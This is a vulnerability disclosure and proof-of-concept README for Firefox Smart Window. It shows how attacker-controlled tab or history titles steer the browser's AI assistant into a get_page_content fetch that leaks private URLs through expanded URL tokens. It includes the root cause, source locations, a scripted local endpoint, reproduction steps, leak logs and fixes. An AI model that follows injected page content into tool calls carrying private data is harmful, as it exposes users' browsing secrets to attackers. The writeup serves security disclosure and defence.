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Firefox Smart Window Private URL Exfiltration PoC

This folder contains a local OpenAI-compatible endpoint and writeup for a Firefox Smart Window privacy boundary failure validated against Firefox 152.0.2 on Windows.

Smart Window's get_open_tabs and search_browsing_history tools return private browser state and URL tokens to the assistant conversation. The tool implementations mark the conversation as containing private data, but the tab and history paths do not also mark the conversation as containing untrusted input. An attacker-controlled page title or history title can therefore influence the assistant into calling get_page_content on an attacker URL that embeds Firefox URL tokens. Firefox expands those URL tokens inside the attacker-controlled URL before dispatching the tool call. get_page_content blocks external fetches only when both private-data and untrusted-input state are already present, so the private-only state permits a browser-originated HTTP request that carries expanded private tab or history URLs.

Tested Target

  • Firefox 152.0.2 x64 for Windows
  • Smart Window with a custom OpenAI-compatible endpoint
  • Node.js 18+
  • Local validation endpoint: http://127.0.0.1:8765/v1

Impact

Estimated severity: high.

An attacker who can place a malicious title into the user's open tabs or browsing history can cause Smart Window to send private browser URLs to an attacker-controlled HTTP endpoint through a hidden get_page_content fetch. The leaked URL can include sensitive path and query-string data such as search terms, document identifiers, account paths, invitation links, reset links, or application-specific one-time values.

The confirmed variants are:

  • open-tab URL exfiltration through get_open_tabs;
  • recent-history URL exfiltration through search_browsing_history;
  • multi-token URL exfiltration, bounded by the tool limits;
  • private metadata transfer for tab/history titles and history metadata through the same allowed get_page_content call.

Firefox limits the affected tool output to 15 open tabs and 15 history rows per tool call.

Root Cause

The issue is a mismatch between Smart Window's security-state tracking and its tool argument rewriting.

  1. get_open_tabs and search_browsing_history expose private browser data to the assistant.
  2. Both tools add returned URLs to the conversation URL-token map.
  3. Both tools set privateData.
  4. Neither tool sets untrustedInput for attacker-controlled webpage metadata such as titles.
  5. ChatUtils.expandUrlTokensInToolParams() performs token replacement inside arbitrary string tool parameters.
  6. Chat.sys.mjs expands model-supplied tool-call arguments before dispatch.
  7. get_page_content allows an arbitrary http: or https: fetch unless both privateData and untrustedInput are already set.

The resulting state is:

privateData = true
untrustedInput = false
get_page_content attacker URL = allowed
URL tokens inside attacker URL = expanded before fetch

Source Trace

Relevant Firefox 152.0.2 source locations:

File Location Behavior
browser/app/profile/firefox.js 2252-2268 Smart Window API key, endpoint, model, first-run, and semantic-history prefs
browser/components/aiwindow/models/Tools.sys.mjs 66 MAX_TABS = 15
browser/components/aiwindow/models/Tools.sys.mjs 94 MAX_HISTORY_RESULTS = 15
browser/components/aiwindow/models/Tools.sys.mjs 379-425 get_open_tabs collects tabs, sets privateData, and adds URLs to the token map
browser/components/aiwindow/models/Tools.sys.mjs 437-476 search_browsing_history returns history rows, adds URLs to the token map, and sets privateData
browser/components/aiwindow/models/Tools.sys.mjs 783-948 get_page_content checks URL allowability and sets both flags only after content extraction
browser/components/aiwindow/models/Tools.sys.mjs 989 get_user_memories also sets privateData, indicating a sibling pattern worth reviewing
browser/components/aiwindow/models/ChatUtils.sys.mjs 310 expandUrlTokensInToolParams() expands URL tokens in tool parameters
browser/components/aiwindow/models/ChatUtils.sys.mjs 385 replaceUrlsWithTokens() replaces private URLs before model delivery
browser/components/aiwindow/models/Chat.sys.mjs 415 Serialized assistant tool-call arguments are rewritten through URL-token expansion
browser/components/aiwindow/models/Chat.sys.mjs 449 Tool parameters are rewritten through URL-token expansion before tool dispatch
browser/components/aiwindow/models/SecurityProperties.sys.mjs 24-32 Sticky privateData and untrustedInput state setters
browser/components/aiwindow/models/tests/xpcshell/test_Tools_GetOpenTabs.js 242-253 Existing test expectation: open tabs set private data while untrusted input remains false
browser/components/aiwindow/models/tests/xpcshell/test_Tools_SearchBrowsingHistory.js 298 Existing test expectation: browsing history has the same private-only state
browser/components/aiwindow/models/tests/xpcshell/test_Tools_GetPageContent.js 444 Existing coverage blocks get_page_content only after both flags are present

Product Reachability

Smart Window is a documented Firefox desktop feature. Mozilla documents Smart Window as a beta Firefox window with an assistant that can use tabs and browsing history, model selection, and a custom endpoint path.

Product and source reachability details:

  • browser.smartwindow.enabled defaults to false in profile defaults.
  • AIWindow.launchWindow() can set browser.smartwindow.enabled=true when Smart Window is launched and the feature is available.
  • AboutWelcomeDefaults.sys.mjs sets browser.smartwindow.enabled=true for the smart_window attribution campaign.
  • Smart Window preferences expose custom endpoint, API key, model, first-run state, and account/consent state.
  • The settings tests accept localhost as a valid custom endpoint.

Reference pages:

  • https://support.mozilla.org/en-US/kb/smart-window
  • https://support.mozilla.org/en-US/kb/smart-window-models
  • https://support.mozilla.org/en-US/kb/smart-window-byom
  • https://support.mozilla.org/en-US/kb/smart-window-safety

PoC Design

poc/smartwindow_poc_server.js is a dependency-free Node.js HTTP server that acts as a local OpenAI-compatible chat-completions endpoint.

The server performs a deterministic tool-call sequence:

  1. If the user asks about history, request search_browsing_history.
  2. Otherwise request get_open_tabs.
  3. Extract Firefox URL tokens from the private tool result returned to the model endpoint.
  4. Call get_page_content on http://127.0.0.1:8765/leak.
  5. Place up to 15 URL tokens into u0, u1, u2, and following query parameters.
  6. Place compact tab/history metadata into a meta query parameter.
  7. Log whether Firefox expanded the URL tokens before requesting /leak.

The server uses a per-process run ID, so old log files do not cause false success messages in a fresh run.

Run

Start the local endpoint:

npm run poc

The server prints:

Smart Window PoC endpoint: http://127.0.0.1:8765/v1
Open PoC tab: http://127.0.0.1:8765/evil
Logs: http://127.0.0.1:8765/logs

Reset current-run logs:

curl http://127.0.0.1:8765/reset

Configure Smart Window to use the local endpoint. The same values can be set through the Smart Window custom model UI or through about:config:

browser.smartwindow.enabled = true
browser.ai.control.smartWindow = enabled
browser.smartwindow.firstrun.hasCompleted = true
browser.smartwindow.firstrun.modelChoice = 0
browser.smartwindow.apiKey = poc
browser.smartwindow.model = smartwindow-poc
browser.smartwindow.endpoint = http://127.0.0.1:8765/v1
browser.smartwindow.preferences.endpoint = http://127.0.0.1:8765/v1
browser.smartwindow.tos.consentTime = 1770830464

Open-Tab Reproduction

Open this page in a normal Firefox tab:

http://127.0.0.1:8765/evil?secret=https%3A%2F%2Fbank.example%2Faccount%3Fsession%3Dsecret-token

Open a Smart Window and ask:

What tabs do I have open?

Open the logs:

http://127.0.0.1:8765/logs

Successful output contains a leak entry similar to:

{
  "source": "tabs",
  "expandedPrivateUrl": "http://127.0.0.1:8765/evil?secret=https://bank.example/account?session=secret-token",
  "expandedPrivateUrls": {
    "u0": "http://127.0.0.1:8765/evil?secret=https://bank.example/account?session=secret-token"
  },
  "leakedParameterNames": ["u0"],
  "expanded": true,
  "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0"
}

Browsing-History Reproduction

Use a profile with normal browsing history, open a Smart Window, and ask:

Show my recent browsing history

Open:

http://127.0.0.1:8765/logs

Successful output contains:

{
  "source": "history",
  "expandedPrivateUrl": "https://www.google.com/search?client=firefox-b-1-d&q=Show+me+my+recent+browser+history",
  "leakedParameterNames": ["u0"],
  "privateMetadataSummary": {
    "kind": "history",
    "count": 15,
    "fields": ["title", "url", "visitDate", "visitCount", "relevanceScore"]
  },
  "expanded": true
}

Confirmed Evidence

Installed Firefox 152.0.2 open-tab run:

{
  "at": "2026-06-24T09:35:13.676Z",
  "path": "/leak?u=http://127.0.0.1:8765/evil?secret=https%3A%2F%2Fbank.example%2Faccount%3Fsession%3Dsecret-token",
  "expandedPrivateUrl": "http://127.0.0.1:8765/evil?secret=https://bank.example/account?session=secret-token",
  "expanded": true,
  "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0"
}

Installed Firefox 152.0.2 history run:

{
  "historyResultsReturned": 15,
  "leakPath": "/leak?source=history&u=https://www.google.com/search?client=firefox-b-1-d&q=Show+me+my+recent+browser+history",
  "expanded": true,
  "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:152.0) Gecko/20100101 Firefox/152.0"
}

Security Boundary

The intended Smart Window boundary is that private browser state and untrusted webpage content should constrain later assistant actions. The vulnerable state transition leaves the conversation marked private-only after tab/history tools, so the later get_page_content network fetch is still available.

The security impact is the second-hop browser request: webpage-controlled metadata can drive a later browser tool call that sends private URL-token-expanded data to an attacker-controlled URL outside the configured model endpoint.

Fix Direction

  • Mark tab titles, history titles, and similar webpage-derived metadata as untrusted.
  • Set untrustedInput in get_open_tabs when returning webpage-controlled titles.
  • Set untrustedInput in search_browsing_history when returning webpage-controlled titles and history metadata.
  • Block get_page_content when privateData is true unless the destination is an exact user-mentioned URL or a narrowly allowed browser-owned URL.
  • Require URL tokens to be the complete URL parameter value or complete tool parameter value before expansion.
  • Disallow URL-token expansion as a substring inside attacker-selected URLs.
  • Add regression tests for get_open_tabs -> get_page_content and search_browsing_history -> get_page_content with private-only state.
  • Add regression tests for multiple URL tokens in one tool argument string.

Validation Status

Local source review and installed-browser testing confirm the open-tab and browsing-history variants in Firefox 152.0.2. The included server reproduces the browser-side guard failure with a deterministic local endpoint and records whether Firefox expanded private URL tokens before issuing the /leak request.

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